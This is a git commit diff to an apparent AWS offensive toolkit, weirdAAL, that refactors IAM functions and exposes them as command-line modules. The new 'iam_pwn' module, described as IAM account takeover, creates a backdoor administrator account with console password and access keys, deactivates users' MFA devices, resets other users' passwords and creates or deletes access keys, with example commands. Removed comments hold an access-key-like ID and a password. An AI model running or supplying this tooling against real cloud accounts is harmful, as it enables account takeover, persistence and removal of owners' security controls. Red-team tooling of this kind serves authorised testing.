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iam updates

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This commit is contained in:
carnal0wnage
2018-04-23 19:26:47 -04:00
parent 97ac1425ea
commit ed630bba1f
5 changed files with 135 additions and 35 deletions
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6
libs/brute.py
View File

@@ -277,7 +277,7 @@ def brute_alexaforbusiness_permissions():
http://boto3.readthedocs.io/en/latest/reference/services/alexaforbusiness.html
'''
print("### Enumerating Alexa For Business Permissions ###")
tests = [('ListSkills', 'list_skills', (), {}, ), ]
tests = [('CreateAddressBook', 'create_address_book', (), {'Name' : 'Test'}, ), ]
return generic_permission_bruteforcer('alexaforbusiness', tests)
@@ -701,9 +701,9 @@ def brute_ec2_permissions():
('DescribeImages', 'describe_images', (), {'DryRun': True, 'Owners': ['self', ]}, ),
('CreateImage', 'create_image', (), {'InstanceId': 'i-0ffffeeeeaa11e111', 'Name': 'testimage', 'DryRun': True}, ),
('DescribeVolumes', 'describe_volumes', (), {'DryRun': True}, ),
('CreateVolume', 'create_volume', (), {'AvailabilityZone': 'us-east-2', 'Size': 8, 'DryRun': True}, ),
('CreateVolume', 'create_volume', (), {'AvailabilityZone': 'us-east-1a', 'Size': 8, 'DryRun': True}, ),
('DescribeSnapshots', 'describe_snapshots', (), {'DryRun': True, 'OwnerIds': ['self', ]}, ),
('CreateSnapshot', 'create_snapshot', (), {'VolumeId': 'vol-05777eab71bc97dcb', 'DryRun': True}, ),
#('CreateSnapshot', 'create_snapshot', (), {'VolumeId': 'vol-05777eab71bc97dcb', 'DryRun': True}, ),
('DescribeAccountAttributes', 'describe_account_attributes', (), {'DryRun': True}, ),
('DescribeAddresses', 'describe_addresses', (), {'DryRun': True}, ),
('DescribeAvailabilityZones', 'describe_availability_zones', (), {'DryRun': True}, ),

57
libs/iam.py
View File

@@ -67,13 +67,14 @@ def check_root_account():
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def change_user_console_password(username, password):
def iam_change_user_console_password(username, password):
client = boto3.client('iam', region_name=region)
try:
response = client.update_login_profile(UserName=username,Password=password, PasswordResetRequired=False)
print('Changing password for user: {} to password: {}' .format(username, password))
print('Response to password change was: []' .format(response['ResponseMetadata']['HTTPStatusCode']))
# print(response)
print('Response to password change was: {}' .format(response['ResponseMetadata']['HTTPStatusCode']))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'PasswordPolicyViolation':
print("Password policy violation. Manually check password policy")
@@ -85,7 +86,7 @@ def change_user_console_password(username, password):
print("CTRL-C received, exiting...")
def create_user_console_password(username, password):
def iam_create_user_console_password(username, password):
client = boto3.client('iam', region_name=region)
try:
@@ -115,7 +116,7 @@ def get_password_policy():
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def create_user(username):
def iam_create_user(username):
client = boto3.client('iam', region_name=region)
try:
@@ -132,7 +133,7 @@ def create_user(username):
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def create_access_key( username):
def iam_create_access_key(username):
client = boto3.client('iam', region_name=region)
try:
@@ -144,7 +145,7 @@ def create_access_key( username):
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def delete_access_key(username, accesskey):
def iam_delete_access_key(username, accesskey):
client = boto3.client('iam', region_name=region)
try:
@@ -160,11 +161,11 @@ def delete_access_key(username, accesskey):
print("CTRL-C received, exiting...")
#untested :-/ but should work #TODO
def delete_mfa_device(username, mfaserial):
def iam_delete_mfa_device(username, mfaserial):
client = boto3.client('iam', region_name=region)
try:
delete_mfa = client.deactivate_mfa_device(UserName=username, SerialNumber=mfaserial)
print("Deleting a MFA device: {} for: {}" .format(mfaserial, username))
print("Deleting MFA device: {} for: {}" .format(mfaserial, username))
print('Response to delete MFA devices was: {}' .format(delete_mfa['ResponseMetadata']['HTTPStatusCode']))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'NoSuchEntity':
@@ -174,8 +175,34 @@ def delete_mfa_device(username, mfaserial):
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_list_mfa_device(username):
client = boto3.client('iam', region_name=region)
try:
response = client.list_mfa_devices(UserName=username)
# print(response)
if response.get('MFADevices') is None:
print("{} likely does not have IAM permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['MFADevices']) <= 0:
print("[-] ListMFADevices allowed for {} but no results [-]" .format(region))
else:
print("### MFA info for {} ###".format(username))
for device in response['MFADevices']:
pp.pprint(device)
print("\n")
def make_admin(username):
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_make_admin(username):
client = boto3.client('iam', region_name=region)
try:
@@ -191,15 +218,15 @@ def make_admin(username):
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def make_backdoor_account( username, password):
def iam_make_backdoor_account( username, password):
client = boto3.client('iam', region_name=region)
try:
print("making backdoor account with username: {}" .format(username))
create_user(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,username)
make_admin(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,username)
create_user_console_password(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, username, password)
create_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,username)
print("Making backdoor account with username: {}" .format(username))
iam_create_user(username)
iam_make_admin(username)
iam_create_user_console_password(username, password)
iam_create_access_key(username)
except botocore.exceptions.ClientError as e:
print("Unexpected error: {}" .format(e))

27
modules/iam.py
View File

@@ -16,7 +16,7 @@ def module_iam_get_account_summary():
iam_get_account_summary()
def module_iam_list_users(*args):
def module_iam_list_users():
iam_list_users()
def module_iam_check_root_account():
@@ -31,12 +31,23 @@ def module_iam_list_roles():
def module_iam_list_policies():
iam_list_policies()
#have to figure out the argument passing part here first
def module_iam_list_user_policies():
iam_list_user_policies( 'root')
def module_iam_list_attached_user_policies():
iam_list_attached_user_policies( 'root')
def module_iam_list_user_policies(*text):
'''
List user policies for specified user
python3 weirdAAL.py -m iam_list_user_policies -a python -t yolo
'''
iam_list_user_policies(text[0][0])
def module_iam_list_entities_for_policy():
iam_list_entities_for_policy('arn:aws:iam::xxxxxxx')
def module_iam_list_attached_user_policies(*text):
'''
List attached user policies for specified user
python3 weirdAAL.py -m iam_list_attached_user_policies -a python -t yolo
'''
iam_list_attached_user_policies(text[0][0])
def module_iam_list_entities_for_policy(*text):
'''
python3 weirdAAL.py -m iam_list_entities_for_policy -a 'arn:aws:iam::...' -t yolo
'''
iam_list_entities_for_policy(text[0][0])

78
modules/iam_pwn.py
View File

@@ -1,18 +1,80 @@
'''
Functions specificially realted to IAM account takeover
if you have root or IAM access gather user info, manipulate access keys or passwords, make backdoor account
'''
from libs.iam import *
from libs.sts import *
#from config import AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
def module_iam_pwn():
get_accountid()
check_root_account()
def module_iam_get_account_summary():
'''
Get account summmary for current user get_account_summary()
'''
iam_get_account_summary()
def module_iam_check_root_account():
'''
runs get_account_summary, list_users, for each user list_login_profiles() & list_mfa_devices()
'''
check_root_account()
def module_iam_get_password_policy():
'''
runs IAM get_account_password_policy for the current user
'''
get_password_policy()
#create_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'pythons3')
#delete_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'pythons3', 'AKIAIJV3RQMOYM7WQS2Q')
#change_user_console_password(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, 'pythons3', 'PS#EDCasd123456!@')
def module_iam_list_mfa_device(*text):
'''
List MFA device for specified user
python3 weirdAAL.py -m iam_list_mfa_device -a python -t yolo
'''
iam_list_mfa_device(text[0][0])
def module_iam_delete_mfa_device(*text):
'''
delete specified MFA device for specified user - username,serialnum
python3 weirdAAL.py -m iam_delete_mfa_device -a 'python','arn:aws:iam::XXXXXXXXX:mfa/python' -t yolo
'''
iam_delete_mfa_device(text[0][0], text[0][1])
def module_iam_change_user_console_password(*text):
'''
change the console password for the specied user
python3 weirdAAL.py -m iam_change_user_console_password -a 'python','HackTh3Planet!' -t yolo
'''
iam_change_user_console_password(text[0][0], text[0][1])
def module_iam_create_access_key(*text):
'''
create an access key for specfied user
python3 weirdAAL.py -m iam_create_access_key -a 'python' -t yolo
'''
iam_create_access_key(text[0][0])
def module_iam_delete_access_key(*text):
'''
delete the specified access key for a specified user username,accesskeyid
python3 weirdAAL.py -m iam_delete_access_key -a 'python','AKIAEXAMPLEQ' -t yolo
'''
iam_delete_access_key(text[0][0], text[0][1])
#create_user(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax')
#make_admin(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax')
#make_backdoor_account(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax','PS#EDCasd123456!@')
def module_iam_make_backdoor_account(*text):
'''
calls the following functions:
iam_create_user(username)
iam_make_admin(username)
iam_create_user_console_password(username, password)
iam_create_access_key(username)
'''
iam_make_backdoor_account(text[0][0], text[0][1])

2
weirdAAL.py
View File

@@ -30,7 +30,7 @@ parser.add_argument("-v", "--verbosity", help="increase output verbosity", actio
args = parser.parse_args()
# Provides us with a global var "db_name" we can access anywhere
builtins.db_name = "weirdAAL.py"
builtins.db_name = "weirdAAL.db"
# Provides us with a global var "target" we can access anywhere
builtins.target = args.target